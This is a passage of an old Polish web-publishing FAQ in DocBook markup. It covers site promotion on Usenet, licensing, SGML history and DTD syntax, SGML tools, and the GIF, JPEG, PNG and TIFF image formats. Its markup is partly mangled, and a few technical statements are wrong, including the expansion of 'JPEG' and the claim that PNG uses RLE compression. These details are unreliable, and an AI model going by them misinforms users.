<PARA>możliwości nieformalnego wykorzystania przez pracowników (co może nadać
firmie bardziej ,,ludzki'' wymiar)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="REKLAMA">
<TITLE>Reklama własnego serwera</TITLE>
<PARA>Aby rozreklamować własne osiągnięcia nie trzeba od razu zalewać całego
<ULINK URL="http://www.usenet.pl/" ROLE="htmlurl">UseNetu</ULINK>
spamem. Wystarczy jeśli ogłosisz informację o swojej stronie na grupie
<ULINK URL="news:pl.comp.www.nowe-strony" ROLE="news"><FILENAME MOREINFO="NONE">pl.comp.www.nowe-strony</FILENAME></ULINK>
lub jeśli jest to usługa większego kalibru na moderowanej
<ULINK URL="news:pl.internet.nowosci" ROLE="news"><FILENAME MOREINFO="NONE">pl.internet.nowosci</FILENAME></ULINK>
Pod żadnym pozorem nie ogłaszaj się na
<FILENAME MOREINFO="NONE">pl.internet.komunikaty</FILENAME>
--- służy ona do ogłaszaniu komunikatów o działaniu istotnych usług
sieci takich jak routery sieci szkieletowej. Kolejnym elementem Twojej
strategii promocyjnej nie powinno być ponowne wysyłanie ogłoszenia, lub
co gorsza wysyłanie jej na nie przeznaczone do tego celu grupy, lecz
umieszczenie promowanego adresu w swojej (nie przekraczającej 4 linii)
sygnaturce. Jeśli twoje dzieło jest anglojęzyczne warto pomyśleć na
wysłaniem ogłoszenia o nim i na moderowaną grupę
<ULINK URL="news:comp.infosystems.www.announce" ROLE="news"><FILENAME MOREINFO="NONE">comp.infosystems.www.announce</FILENAME>
(koniecznie przeczytaj jej FAQ)</ULINK></PARA>
<PARA>Warto także pomyśleć o poinformowaniu rozmaitych usług wyszukiwawczych
i katalogowych o istnieniu naszej strony. Jeśli bardzo nam zależy na
wielkiej ilości odwiedzin można też wstąpić do sieci wymiany
<PRODUCTNAME CLASS="TRADE">bannerów reklamowych</PRODUCTNAME>
<SIMPLELIST TYPE="VERT">
<MEMBER><ULINK URL="http://www.bannerpower.cis.com.pl/" ROLE="htmlurl"><EMPHASIS>BannerPower</EMPHASIS>
400x50, 10 kB</ULINK></MEMBER>
<MEMBER><ULINK URL="http://bannermania.nom.pl/" ROLE="htmlurl"><EMPHASIS>Bannermania</EMPHASIS>
400x50, 20 kB</ULINK></MEMBER>
<MEMBER><ULINK URL="http://smartlinks.net.pl/" ROLE="htmlurl"><EMPHASIS>Smartlinks</EMPHASIS>
400x40, 7 kB</ULINK></MEMBER>
</SIMPLELIST>
oraz rozpocząć szeroko zakrojoną wykupując w różnych popularnych miejscach
bannery.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><SIMPLELIST TYPE="VERT">
<MEMBER>EPage &lt;
epage@ep.com&lt;

</MEMBER>
<MEMBER>Newsgroups:
<FILENAME MOREINFO="NONE">comp.infosystems.www.announce,comp.answers,news.answers</FILENAME></MEMBER>
<MEMBER><ULINK URL="http://ep.com/faq/webannounce.html" ROLE="htmlurl">Subject: ** FAQ: How To Announce Your New Web Site (Other Places) **</ULINK></MEMBER>
</SIMPLELIST></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Mariusz Majewski
<ULINK URL="http://kki.net.pl/internet/" ROLE="htmlurl">Promocja w sieci Internet</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="KONCESJA">
<TITLE>Koncesje, zezwolenia</TITLE>
<PARA><EMPHASIS>Jak zostać dostawcą usług internetowych?, Czy na publikowanie czegoś w
Sieci muszę mieć jakąś koncesję?</EMPHASIS></PARA>
<PARA>O ile nie świadczysz telekomunikacyjnych usług powszechnych, nie
sprzedajesz dostępu do sieci, ani nie łączysz sieci w budynkach
mieszkalnych --- nie potrzebujesz. Ale to temat na inną grupę --- np.
<ULINK URL="news:pl.listserv.polip" ROLE="news"><FILENAME MOREINFO="NONE">pl.listserv.polip</FILENAME></ULINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.ml.gov.pl/" ROLE="htmlurl">Ministerstwo Łączności</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://prawo.fnet.pl/" ROLE="htmlurl">Prawo i komputery</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="XML-SGML">
<TITLE>XML/SGML</TITLE>
<PARA>_</PARA>
<SECT1 ID="SGML-HISTORIA">
<TITLE>Historia</TITLE>
<SIMPLELIST TYPE="VERT">
<MEMBER>From: GSTANIAK@golem.ucms.lublin.pl</MEMBER>
</SIMPLELIST>
<PARA><ABBREV LANG="en">SGML</ABBREV>
czyli
<PRODUCTNAME CLASS="TRADE">Standard Generalized Markup Language</PRODUCTNAME>
(lub jak kto woli Standard Goldfarb Mosher Lorie) był pomysłem na
ze standaryzowanie uogólnionego znakowania dokumentów i wyjście poza
wąskie ramy konkretnych ,,uniwersalnych'' języków takich jak choćby
groff czy texinfo (czy cała masa innych wynalazków typu sdf). Pod
koniec lat sześćdziesiątych w USA i Kanadzie środowiska
zawodowo zainteresowane publikowaniem dostrzegły konieczność
oddzielenia formatu dokumentów od ich
treści/struktury w celu zapewnienia ich przenośności oraz
elastyczności w manipulowaniu ich zawartością.
Chodziło o zastąpienie poleceń formatujących związanych z konkretnymi
aplikacjami
(typu "załaduj czcionkę Times New Roman wielkości 12 punktów", "zrób
wcięcie szerokości 36 punktów" itp.)
oznaczeniami typu ,,nagłówek sekcji'', ,,początek akapitu'',
,,indeks'',
,,pozycja indeksu" - wygląd poszczególnych elementów określany byłby
przez konkretną aplikację według preferencji użytkownika. Pojawiła się idea
"generic coding/generic markup", czyli ustandaryzowanego zestawu takich oznaczeń które mogłyby
być stosowane w bardzo rożnego rodzaju publikacjach.</PARA>
<PARA>Prace specjalnego komitetu GCA (Graphic Communications Association)
opracowującego system oznaczeń znany jako
<PRODUCTNAME CLASS="TRADE">GenCode (R)</PRODUCTNAME>
szybko wykazały, że dla rożnych dokumentów potrzebne są rożne zestawy
oznaczeń, oraz ze samodzielne mniejsze dokumenty mogą stanowić elementy
składowe większych publikacji. W roku 1969 pracownicy IBM, Charles
Goldfarb, Edward Mosher i Raymond Lorie zaproponowali
<ABBREV LANG="en">GML</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Generalized Markup Language</PRODUCTNAME>
który nie był, jak GenCode (R), prostym systemem oznaczeń, ale wprowadzał
pojęcie formalnie definiowanego typu dokumentu i związanej z nim ścisłej,
hierarchicznej struktury oznaczeń.
<PRODUCTNAME CLASS="TRADE">GML</PRODUCTNAME>
odniósł sukces w przemyśle wydawniczym, w czym duża role odegrało
wprowadzenie go jako standardu wewnętrznego dla publikacji IBM.</PARA>
<PARA ID="SGML-STANDARDYZACJA">W 1978 roku Amerykański Narodowy Instytut Standardów (ANSI) powołał
komitet którego zadaniem było opracowanie standardu języka opisu
tekstu. Do współpracy został zaproszony Charles Goldfarb, który wniósł
do projektu szereg koncepcji opracowanych w międzyczasie na bazie
GML. Pierwszy roboczy szkic SGML pojawił się w 1980 r., szósty, z roku
1983 został zarekomendowany przez GCA jako standard przemysłowy. SGML
został przyjęty przez Urząd Kontroli Skarbowej USA (IRS) oraz Departament
Obrony. Po reorganizacji projektu w 1984 roku w ramach ISO, w roku
1985 szkic standardu międzynarodowego został zaaprobowany przez Biuro
Oficjalnych Publikacji Wspólnoty Europejskiej. Po roku prac edytorskich
i poprawek, standard został przyjęty jako ISO 8879:1986 i opublikowany w
rekordowym czasie po zatwierdzeniu, przy użyciu systemu SGML opracowanego
przez Andersa Berglunda z CERN.</PARA>
<PARA ID="SGML-APLIKACJE">Ostatnio aplikacje SGMLa również ulegają standaryzacji. Przykładem jest
tutaj norma ISO 12083 wywodząca się z propozycji American Association of
Publishers oraz European Phisical Society będąca próbą zestandaryzowania
publikacji matematycznych.
<ULINK URL="http://www.sil.org/sgml/gen-apps.html#iso12083DTDs" ROLE="html">(ISO 12083)</ULINK>
Innym pomysłem jest HyTime czyli w rozwinięciu
<ULINK URL="http://www.hytime.org/" ROLE="htmlurl">HyTime: ISO 10744 Hypermedia/Time-based Structuring Language</ULINK>
(o wiele bardziej rozbudowany niż inne np. HTML) zorientowany na aplikacje
multimedialne.</PARA>
<PARA ID="XML-POCZATEK">Kolejnym polem ekspansji SGMLa jest
<LINK LINKEND="XML">XML...</LINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.sil.org/sgml/general.html#hist" ROLE="htmlurl">History of Generalized Markup and SGML @ SGML/XML Home Page</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="XML-SGML-PODSTAWY">
<TITLE>Podstawy</TITLE>
<PARA>Dokument SGML składa się z kilku części:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><EMPHASIS>deklaracji SGMLa</EMPHASIS>
gdzie opisuje się klasę dokumentu, podstawowe parametry jego budowy i
przetwarzania: używane zestawy znaków, dopuszczalne długości literałów
(np. nazwy znaczników czy długość atrybutów), opcje minimalizacji (np. czy
możliwe jest i w jakiej postaci pomijanie znaczników kończących element).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>Definicji Typu Dokumentu</EMPHASIS>
---
<PRODUCTNAME CLASS="TRADE"><ABBREV LANG="en">DTD</ABBREV>
, Document Type Definition</PRODUCTNAME>
--- gdzie jest zakodowana hierarchia elementów wraz z dopuszczalnymi
atrybutami, ich dopuszczalnymi i domyślnymi wartościami, możliwą
zawartością DTD jednoznacznie określa składnie danego typu dokumentu.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>zawartości dokumentu</EMPHASIS>
--- tzw.
<EMPHASIS>DOCUMENT INSTANCE</EMPHASIS>
(w wypadku wielu typów dokumentów zawierające także ,,zewnętrzne''
elementy sterujące tzw. ,,processing intructions'' (np. &lt;
?php
Date?&lt;
))</PARA>
</LISTITEM>
</ITEMIZEDLIST>
W wielu wypadkach deklarację stosuje się domyślną, a zamiast całego
DTD umieszcza się Formal Public Indentifier (rozwiązywany zwykle przez
parsery na właściwie DTD katalogu
zawierającego zbiór dopuszczalnych deklaracji wraz z odsyłaczami do
poszczególnych plików). Przy czym istnieje rozróżnienie na identyfikatory
publiczne: czyli
<ULINK URL="http://www.gca.org/publicid/" ROLE="html">zarejestrowane</ULINK>
i systemowe np.: tworzone ad hoc.</PARA>
<PARA>Parser SGML (jak sama nazwa wskazuje) jest programem analizującym składnię
dokumentu i to --- jeśli mowa o tzw.
<EMPHASIS>validating parsers</EMPHASIS>
--- nie tylko samą jednorazową dawkę informacji ale również deklarację
SGML i DTD (wraz z jego składnią). Wyjście z parsera --
<ABBREV LANG="en">ESIS,</ABBREV>
czyli
<PRODUCTNAME CLASS="TRADE">Element Structure Information Set</PRODUCTNAME>
--- może stanowić podstawę konwersji czy jakiejkolwiek obróbki
dokumentu (łącznie z (re)formatowaniem, przy wykorzystaniu np. arkuszy
stylistycznych
<LINK LINKEND="DSSSL">DSSSL.</LINK></PARA>
<PARA>Składnia DTD:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>&lt;

ELEMENT nazwa otwarcie zamknięcie (zawartość) &lt;
 na przykład
<SGMLTAG>&lt;

!element linuxdoc o o (sect | chapt | article | report | book |
letter | telefax | slides | notes | manpage ) &lt;

</SGMLTAG>
deklarujemy że element linuxdoc (nie obowiązkowy - pozycje ,,otwarcie''
i ,,zamknięcie'' (,,-'' to obowiązkowy, ,,o'' nie obowiązkowy ) może w
sobie zawierać alternatywnie elementy
<SGMLTAG>sect</SGMLTAG>
,
<SGMLTAG>chapt</SGMLTAG>
,
<SGMLTAG>article</SGMLTAG>
i inne.
<ITEMIZEDLIST>
<LISTITEM>
<PARA></PARA>
<PARA><SGMLTAG>,</SGMLTAG>
- wszystkie elementy muszą występować w określonym porządku</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&amp;</SGMLTAG>
wszystkie elementy muszą występować, ale porządek dowolny</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>|</SGMLTAG>
rozłączne lub - jeden lub tylko jeden może wystąpić</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>+</SGMLTAG>
element
<EMPHASIS>musi</EMPHASIS>
wystąpić co najmniej raz</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>?</SGMLTAG>
element nie obowiązkowy</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>*</SGMLTAG>
element
<EMPHASIS>może</EMPHASIS>
wystąpić raz lub więcej</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</LISTITEM>
<LISTITEM>
<PARA>ENTITY --- ,,drobinka'': forma makroinstrukcji</PARA>
</LISTITEM>
<LISTITEM>
<PARA>ATTLIST --- lista atrybutów ELEMENTU wraz z opcjami:
<SGMLTAG>&lt;

ATTLIST linuxdoc LANG (CDATA) #REQUIRED&lt;

</SGMLTAG>
<ITEMIZEDLIST>
<LISTITEM>
<PARA>#FIXED</PARA>
</LISTITEM>
<LISTITEM>
<PARA>#REQUIRED</PARA>
</LISTITEM>
<LISTITEM>
<PARA>#CURRENT - z poprzedniego użycia</PARA>
</LISTITEM>
<LISTITEM>
<PARA>#CONFREF - referencje</PARA>
</LISTITEM>
<LISTITEM>
<PARA>#IMPLIED</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Typy danych
<ITEMIZEDLIST>
<LISTITEM>
<PARA>PCDATA - parsed character data - zwykłe dane tekstowe (z rozwijaniem
entitles)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>RCDATA - replaceable chracter data</PARA>
</LISTITEM>
<LISTITEM>
<PARA>CDATA - character data - zwykłe tekstowe --- nie przewidywana dalsza
obróbka</PARA>
</LISTITEM>
<LISTITEM>
<PARA>ANY - może zawierać PCDATA i inne elementy</PARA>
</LISTITEM>
<LISTITEM>
<PARA>EMPTY</PARA>
</LISTITEM>
<LISTITEM>
<PARA>ID - identyfikator SGMLowy</PARA>
</LISTITEM>
<LISTITEM>
<PARA>IDREF - odwołanie do tegoż</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.sil.org/sgml/general.html#faq" ROLE="htmlurl">SGML: Introductions and Overviews @ SGML/XML Home Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www-tei.uic.edu/orgs/tei/sgml/teip3sg/index.html" ROLE="htmlurl">TEI's "A Gentle Introduction to SGML."</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>University of Waterloo.
<ULINK URL="http://watarts.uwaterloo.ca/ENGL/courses/engl210e/210e/module/tech/sgml/toc.htm" ROLE="htmlurl">"SGML Introduction - An Introduction to the Standard Generalized Markup Language (SGML)",</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="XML-SGML-NARZEDZIA">
<TITLE>Narzędzia</TITLE>
<PARA>Typowy zestaw do przetwarzania SGMLa składa się z bibliotek DTD (mało
kto buduje sam od podstaw własne definicje dokumentów, gdy już inni
to zrobili), parsera SGML, zestawu konwerterów do formatów łatwych do
druku, przeglądania oraz z edytora (i innych narzędzi) wspomagającego
wprowadzanie oznakowanych tekstów.</PARA>
<PARA>Podstawowym narzędziem służacym przetwarzaniu SGMLa jest parser
analizujący deklarację SGML (tj. opcje minimalizacji, zestaw
dopuszczalnych znaków), DTD a następnie sam dokument. Dostępnych jest
kilka narzędzi tego typu:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.ifi.uio.no/pub/SGML/ARC-SGML/distrib" ROLE="htmlurl">SGML Parser Materials (ARCSGML 1.0)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.ifi.uio.no/pub/SGML/ASP-SGML" ROLE="htmlurl">Amsterdam SGML Parser</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.jclark.com/pub/sgmls/" ROLE="htmlurl">SGMLS</ULINK>
pierwszy z SGMLowych parserów autorstwa J. Clarka.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.jclark.com/sp/" ROLE="htmlurl">SP</ULINK>
silny zestaw i w świecie freeware (głównie dzięki silnej narzędziom
wspomagającym, własnemu API i dostarczaniu z pewnym minimalnym zestawem
HTMLowych DTD) najpopularniejszy.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Osobną klasą narzędzi są rozmaite analizatory/kreatory DTD. Pomocne są
do uczenia  się/rozpoznawania możliwości danego formatu.
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.oac.uci.edu/indiv/ehood/perlSGML.html" ROLE="htmlurl">perlSGML</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://nwalsh.com/dtdparse/index.html" ROLE="htmlurl">DTDParse Normana Walsha</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.lysator.liu.se/projects/about_psgml.html" ROLE="htmlurl">PSGML</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
Do obróbki
<PRODUCTNAME CLASS="TRADE">SGMLa</PRODUCTNAME>
przydatne są programy z pakietu SP takie jak
<SIMPLELIST TYPE="VERT">
<MEMBER><COMMAND MOREINFO="NONE">spam</COMMAND>
--- strumieniowy edytor SGMLa mogący np. rozwijać entitles</MEMBER>
<MEMBER><COMMAND MOREINFO="NONE">sgmlnorm</COMMAND>
--- normalizer kodu SGML --- uzupełniający wszystkie brakujące elementy
do pełnego kodu</MEMBER>
<MEMBER><COMMAND MOREINFO="NONE">sx</COMMAND>
--- konweter SGMLa do XMLa.</MEMBER>
<MEMBER><COMMAND MOREINFO="NONE">sggrep (1)</COMMAND>
--- SGMLowy grep --- z pakietu
<ULINK URL="http://www.ltg.ed.ac.uk/" ROLE="htmlurl">Normalised SGML Library</ULINK></MEMBER>
</SIMPLELIST>
Do edycji SGMLa można wykorzystywać dowolny edytor tekstowy. Niektóre
z nich mają nawet zbudowany non-valdating parser SGMLa (np.
<ULINK URL="http://www.lysator.liu.se/projects/about_psgml.html" ROLE="htmlurl">PSGML --- zestaw makroinstrukcji Emacsa</ULINK>
w
<ULINK URL="http://www.pl.vim.org/" ROLE="htmlurl">innych</ULINK>
zaś można stosunkowo małym nakładem pracy dorobić
<FOREIGNPHRASE>syntax hightlihting</FOREIGNPHRASE>
--- jak w ViMie)</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.sil.org/sgml/publicSW.html" ROLE="htmlurl">Public SGML/XML Software @ SGML/XML Home Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tony Graham
<ULINK URL="http://www.mulberrytech.com/papers/transfrm.htm" ROLE="htmlurl">Free SGML Transformation Tools</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="GRAFIKA">
<TITLE>Tworzenie --- grafika</TITLE>
<PARA>_</PARA>
<SECT1 ID="FORMATY-GRAFICZNE">
<TITLE>Formaty graficzne</TITLE>
<PARA>Istnieje kilka uznanych formatów grafiki służących do prezentacji
w pajęczynie:</PARA>
<SECT2 ID="GIF">
<TITLE> GIF </TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">Graphics Interchange Format</PRODUCTNAME>
--- stworzony na zamówienie
<ULINK URL="http://world.compuserve.com/" ROLE="html">CompuServe INC.</ULINK>
w 1987 roku
<ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/2d/GIF87a.txt" ROLE="html">(GIF87a)</ULINK>
a następnie w 1989 r. zrewidowany
<ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/2d/GIF89a.txt" ROLE="html">(GIF89a).</ULINK>
W tej chwili używa się zwykle tej drugiej wersji. Podstawowe cechy formatu to:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>paleta 256 kolorów (lub odcieni szarości)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>rozdzielczość dostosowana do przeciętnej rozdzielczości ekranu (72dpi)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>możliwość wyświetlania sekwencyjnego (w pierwszej kolejności uproszczony podgląd, a następnie
wyostrzanie go do maksimum) --- przy zapisie ,,z przeplotem'' (Interlaced).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>kompresja z użyciem
<ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/2d/GIF-comp.txt" ROLE="html">LZW</ULINK>
(patent na tę technologię --- należący do firmy Unisys --- powoduje, że za rozprowadzanie narzędzi
stworzonych po 1995 roku
przetwarzających grafiki w tym formacie należy odprowadzać opłaty)
<FOOTNOTE ID="GIF-LICENCJA">
<PARA ID="GIF-GIMP-LICENCJA">nie jestem tego do końca pewien --- vide
<ULINK URL="http://www.gimp.org/" ID="GIMP" ROLE="htmlurl">GIMP</ULINK>
lub
<ULINK URL="http://www.wizards.dupont.com/cristy/ImageMagick.html" ID="IMAGEMAGICK" ROLE="htmlurl">ImageMagick</ULINK>
rozprowadzane jako GNU i wśród innych formatów używające m.in. GIFa.
Przy czym, z tego co rozumiem jedynie pewne operacje ---
takie jak przeźroczystość wykorzystują zastrzeżone fragmenty kodu)</PARA>
</FOOTNOTE></PARA>
</LISTITEM>
<LISTITEM>
<PARA>możliwość zdefiniowania jednego z kolorów jako
<LINK LINKEND="GRAFIKA-SPEC-PRZEZROCZYSTE">przeźroczystego</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>możliwość składowania w jednym pliku następujących po sobie w określonym porządku
<LINK LINKEND="GRAFIKA-SPEC-ANIMACJE">rysunków</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Nadaje się do stosunkowo prostych grafik, ikon.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Martin Reddy
<ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/2d/" ROLE="html">Graphics File Formats Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/centers/gff/gff-faq/gff-faq3.htm#68" ROLE="htmlurl">GIF --- Graphics Interchange Format</ULINK>
[w:]
<ULINK URL="http://www.ora.com/centers/gff/gff-faq/gff-faq3.htm" ROLE="htmlurl">Graphics File Formats FAQ (Part 3 of 4): Where to Get File Format Specifications</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
<PARA></PARA>
</SECT2>
<SECT2 ID="JPEG">
<TITLE>JPEG</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">JPEG File Interchange Format</PRODUCTNAME>
(V1.02)
<PRODUCTNAME CLASS="TRADE">Joint Photographic Engineering Group</PRODUCTNAME>
--- bitmapowy, przeznaczony do zapisywania 24-bitowego koloru (16,7 mln odcieni).
Nadaje się do zdjęć i obrazów wielobarwnych.
Stosuje algorytmy ze utratą danych (pozwalając jednak wybrać stopień kompresji).
<PRODUCTNAME CLASS="TRADE">Progresive JPEG</PRODUCTNAME>
--- opracowany przez Netscape Communication pozwala na zastosowanie większego stopnia kompresji.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/2d/JPEG.txt" ROLE="htmlurl">JPEG File Interchange Format (V1.02)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tom Lane's 
<ULINK URL="http://www.faqs.org/faqs/jpeg-faq/part1/preamble.html" ROLE="htmlurl">JPEG FAQ</ULINK>
<ULINK URL="http://www.htmlhelp.com/design/jpeg-faq.txt" ROLE="htmlurl">(patrz też -- htmlhelp.com)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/centers/gff/gff-faq/gff-faq3.htm#68" ROLE="htmlurl">JFIF - JPEG File Interchange Format</ULINK>
[w:]
<ULINK URL="http://www.ora.com/centers/gff/gff-faq/gff-faq3.htm" ROLE="htmlurl">Graphics File Formats FAQ (Part 3 of 4): Where to Get File Format Specifications</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="PNG">
<TITLE>PNG</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">PNG - Portable Network Graphics</PRODUCTNAME>
został opracowany przez zespół IETF pod kierunkiem Toma Boutella w odpowiedzi na zaostrzenie zasad używania formatu
<LINK LINKEND="GIF">GIF.</LINK>
W przeciwieństwie do GIFa nie używa zastrzeżonych algorytmów (do kompresji używa
<ABBREV>RLE</ABBREV>
zamiast
<ABBREV>LZW</ABBREV>
), jego używanie jest (i będzie) wobec tego bezpłatne, a co ważniejsze wszyscy mają 
jednakowy dostęp do pełnej jego specyfikacji.
Jest rastrowym (bitmapowym), bezstratnym formatem graficznym przeznaczonym do wykorzystania w
pajęczynie. Pozwala na sekwencyjne wyświetlanie/zapisywanie.
Posiada zmienną paletę kolorów: od 1 do 8 bitów w wypadku palety 256 kolorowej
do 8 i 16 bitów na każdy z kanałów RGB (czyli 48 bitów --- Truecolor), lub 16 bitów szarości
z możliwością maskowania kolorów (do ośmiu przeźroczystych --- GIF jeden). </PARA>
<PARA>Nadaje się tak do składowania i wyświetlania fotografii jak i prosty, jednokolorowych obrazów.
(czyli będzie w stanie zastąpić tak JPEG jak i GIFa.
Wadą jest brak pełnego wsparcia przez dostępne oprogramowanie
(choć wersje 4.x.x. Navigatora i Internet Explorera już samodzielnie go obsługują)
i nie ukończony proces standaryzacji. 
.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.boutell.com/boutell/png/" ROLE="htmlurl">PNG Homepage</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.uu.net/graphics/png/" ROLE="htmlurl">specyfikacja PNG</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.wco.com/%E7png/" ROLE="htmlurl">PNG Resources</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="OPIS-RFC2083"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2083.txt" ROLE="rfc">RFC 2083</ULINK>
<EMPHASIS>I</EMPHASIS>
T. Boutell,
<EMPHASIS>PNG (Portable Network Graphics) Specification Version 1.0</EMPHASIS>
01/16/1997. (Liczba stron --- 102)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2>
<TITLE>TIFF</TITLE>
<PARA><ABBREV>TIFF</ABBREV>
<PRODUCTNAME CLASS="TRADE">Tag Image File Format</PRODUCTNAME>
jest formatem wymiany obrazów rastrowych pomiędzy programami (w tym także do obrazów skanowanych).
Powstał w 1986 w
Aldus Corporation (aktualnie części Adobe Software), we współpracy z Microsoft i
Hewlett-Packard. Istnieje w wielu różnych odmianach, pozwala na włączanie innych formatów graficznych:
JPEG, LZW, CCITT Group 4. Wykorzystywany m.in. w DTP, przemysłowym przetwarzaniu obrazów (systemy
medyczne), przetwarzaniu faxów, itp. Nie obsługiwany bezpośrednio przez przeglądarki.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.adobe.com/pub/adobe/devrelations/devtechnotes/pdffiles/tiff6.pdf" ROLE="htmlurl">TIFF 6.0 Specification</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Niles Ritter's
<ULINK URL="http://anubis.science.unitn.it/services/tiff/index.html" ROLE="htmlurl">Unofficial TIFF Home Page</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="GRAFIKI-INNE">
<TITLE>i inne</TITLE>
<PARA>ale już tylko przy pomocy
<LINK LINKEND="PLUG-IN">,,wtyczek''</LINK></PARA>
<PARA>Przy czym rozgraniczenie pomiędzy ,,normalnymi'' formatami a tymi
obsługiwanym przez ,,wtyczki'' nie wynika ze standardów
co raczej z ograniczeń przeglądarek (w zasadzie każdy
zarejestrowany przez IANA format plików, powinien być w ten czy w inny
sposób obsłużony --- choćby przez zapamiętanie obrazka z
<PRODUCTNAME CLASS="TRADE">CorelDraw</PRODUCTNAME>
na dysku).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.cobb.com/tma/9508/tma89501.htm" ROLE="htmlurl">Understanding Image File Formats</ULINK></PARA>
</LISTITEM>
<LISTITEM>
